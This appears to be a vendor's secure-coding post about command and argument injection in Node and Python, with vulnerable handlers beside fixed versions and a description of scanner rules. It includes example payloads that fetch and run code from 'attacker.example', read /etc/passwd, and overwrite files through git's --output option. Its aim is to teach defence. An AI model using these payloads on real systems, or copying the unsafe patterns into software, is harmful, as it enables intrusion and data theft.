Skip to main content

Command injection in Node and Python: exec, shell=True and argument arrays

Most command injection bugs come from one convenient call: a single string handed to a shell. In Node it is child_process.exec, in Python it is subprocess.run(..., shell=True) or os.system. The shell parses ;, |, $(...) and backticks, so a filename or hostname from a request becomes a second command.

The standard advice is to pass an argument array instead. That is correct, and it removes shell injection completely. It does not remove argument injection, where the value starts with a dash and the program reads it as an option. This post covers both, with Node and Python code you can copy.

Which calls use a shell

Call Runs a shell?
Node exec, execSync Yes, always
Node execFile, spawn and their Sync forms No, unless shell is set
Python subprocess.run / Popen with a list No
Python subprocess.* with shell=True Yes
Python os.system, os.popen Yes

The Node.js child_process docs put the warning on exec in bold: never pass unsanitized user input to it, because any input containing shell metacharacters may trigger arbitrary command execution. execFile "does not spawn a shell by default", and the shell option of spawn and execFile defaults to false. Python's subprocess docs say the module will not implicitly call a shell, so all characters, including metacharacters, are passed to the child safely. With shell=True, quoting becomes your job.

Shell injection in Node

const { exec } = require("node:child_process");

app.get("/thumbnail", (req, res) => {
  const name = req.query.name;
  exec(`convert uploads/${name} -resize 200x200 thumbs/${name}`, (err) => {
    if (err) return res.status(500).end();
    res.sendStatus(204);
  });
});

A request with name=a.png;curl https://attacker.example/x|sh runs the second command as the web server user. Escaping the string is fragile. Remove the shell instead, and validate the value against what you expect:

const { execFile } = require("node:child_process");
const path = require("node:path");

app.get("/thumbnail", (req, res) => {
  const name = path.basename(String(req.query.name ?? ""));
  if (!/^[A-Za-z0-9_-]+\.(png|jpg)$/.test(name)) return res.status(400).end();

  execFile("convert", [`uploads/${name}`, "-resize", "200x200", `thumbs/${name}`], (err) => {
    if (err) return res.status(500).end();
    res.sendStatus(204);
  });
});

Two details make this safe. The argument array means no shell ever parses the value. The uploads/ prefix means the argument can never start with a dash, which matters for the next section.

The shell: true trap

Adding shell: true to spawn or execFile puts the shell back. Node now documents this as deprecation DEP0190: when an args array is passed with the shell option, the values are not escaped, only joined with spaces, which can lead to shell injection. It became a runtime deprecation in Node 24.

// The array looks safe, but the shell parses the joined string
spawn("grep", ["-r", req.query.q, "docs/"], { shell: true });

People usually add shell: true to make something work on Windows, where .bat and .cmd files cannot run without a shell. Windows has its own history here: CVE-2024-27980 let a crafted argument inject commands when spawn launched a batch file, even without the shell option. Node now throws EINVAL for a .bat or .cmd file passed to spawn without shell. If you hit that error, do not reach for shell: true with request data. Call a real executable, or validate every argument against an allowlist first.

Argument injection: the array is not enough

An argument array stops the shell. It does not stop the program you call from parsing options. If a value can start with -, many tools treat it as a flag.

// ref = "--output=/srv/app/public/index.html" overwrites a file with the log
execFile("git", ["log", "--format=%H %s", req.query.ref]);

Git's --output=<file> option writes the command's output to that file. Other tools have similar options: curl -o writes a file, tar and rsync have options that run programs, and ssh has -o ProxyCommand=. The defences, in order of preference:

  1. Validate the value. A git ref, an IP address, a numeric id: check it with a strict pattern or a parser, and reject anything that starts with -.
  2. End option parsing. Put attacker-influenced values after --, or after --end-of-options for git commands where -- means "paths follow".
  3. Prefix the value. A fixed prefix such as uploads/ or refs/heads/ cannot begin with a dash.
const ref = String(req.query.ref ?? "");
if (!/^[A-Za-z0-9._\/-]{1,200}$/.test(ref) || ref.startsWith("-")) {
  return res.status(400).end();
}
execFile("git", ["log", "--format=%H %s", "--end-of-options", ref], (err, stdout) => {
  if (err) return res.status(404).end();
  res.type("text/plain").send(stdout);
});

For git log, plain -- would be wrong: git reads everything after -- as a path, so the ref would silently become a path filter. --end-of-options is the git-specific separator for this case.

Command injection in Python

@app.post("/ping")
def ping():
    host = request.form["host"]
    out = subprocess.run(f"ping -c 1 {host}", shell=True, capture_output=True, text=True)
    return out.stdout

host=8.8.8.8; cat /etc/passwd returns the password file. The fix is the same as in Node: a list, no shell, and validation that matches the meaning of the value.

import ipaddress
import subprocess
from flask import abort, request

@app.post("/ping")
def ping():
    try:
        host = str(ipaddress.ip_address(request.form.get("host", "")))
    except ValueError:
        abort(400)
    out = subprocess.run(["ping", "-c", "1", host], capture_output=True, text=True, timeout=5)
    return out.stdout

A parsed IP address can never start with a dash, so the argument injection risk is closed by the validation. Note the timeout: a command that hangs is a denial of service even when it is not an injection.

Three Python details catch people out:

  • A string without shell=True is not a command line. On POSIX, subprocess.run("ping -c 1 host") looks for a program literally named ping -c 1 host. Developers who hit that error often add shell=True to fix it. Use a list or shlex.split() on a constant instead.
  • shlex.quote() is POSIX-only. It is designed for POSIX shells, and the docs warn it is not safe on Windows. Treat it as a last resort, not a design.
  • os.system and os.popen always use a shell. Replace them with subprocess.run and a list.

Review checklist

  • Grep for exec(, execSync(, shell: true, shell=True, os.system( and os.popen(. Each needs either a constant command or a strong reason.
  • For every argument array, ask whether any element comes from a request, a file name, a database row or an environment variable another user can set.
  • Check that those elements cannot start with -, or sit after -- or --end-of-options.
  • Prefer a library over a subprocess where one exists: an image library instead of convert, a git library instead of shelling out, socket instead of ping.
  • Set timeouts and run subprocesses with the least privileged user you can.

Finding command injection with Vulkro

Vulkro Core follows request data to command sinks across files and reports a proven flow from source to sink:

vulkro scan . --format json > findings.json
vulkro dataflow . --reaching-sink
vulkro explain js-taint-cmd-001
Rule What it flags
js-taint-cmd-001, py-taint-cmd-001 Request data reaching a shell or process sink (also go-taint-cmdi-001, java-taint-cmdi-001, php-taint-command)
shell-cmd-interpolation A shell command string built with interpolation
shell-true-flag A subprocess call with shell=True and a dynamic command
arg-injection-shell-true spawn or execFile with shell: true and a dynamic argument
arg-injection-argv A dynamic value in an unguarded positional slot of git, tar, curl, rsync, ssh and similar tools

The argument injection rule treats a value after -- or --end-of-options, or a value that follows a fixed flag such as -C, as guarded. It is a shape check rather than a proof that the value comes from a request, so it reports at Medium confidence.

FAQ

Is execFile safe from command injection?

execFile does not start a shell by default, so shell metacharacters in arguments are not interpreted. It is still open to argument injection if a value can start with a dash, and it becomes unsafe again if you pass shell: true.

Does shlex.quote prevent command injection in Python?

It escapes a value for a POSIX shell, which helps when a shell is unavoidable. It is not safe on Windows, and it does nothing for argument injection. Passing a list to subprocess.run without shell=True is the better fix.

What is argument injection?

Argument injection (CWE-88) is when user input becomes a command-line option instead of data, for example a git ref of --output=/path/file. It works even without a shell. Validate the value, reject a leading dash, or place it after --.

See the API security use case and the dataflow command docs, or start a 14-day trial. Related: SSRF in Node.js and path traversal in file downloads and uploads.